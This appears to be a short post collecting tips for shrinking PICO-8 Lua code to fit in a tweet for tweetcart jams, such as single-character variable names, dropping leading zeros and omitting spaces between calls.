PICO-8 size optimization stuff for tweetcarts

Here are some simple ways to make your PICO-8 code fit in 140 280 characters (as in the #tweetjam #tweetcart craze). I did not invent these, I merely observed and collected them from the tweetjam thread.

LUA syntax stuff

• Use single character variable names
• Use x=.1 and x=.023, not x=0.1 or x=0.023
• x=1/3 is shorter than x=.3333
• You don't need to separate everything with spaces or write them on their own lines, e.g. circ(x,y,1)pset(z,q,7) works just as well
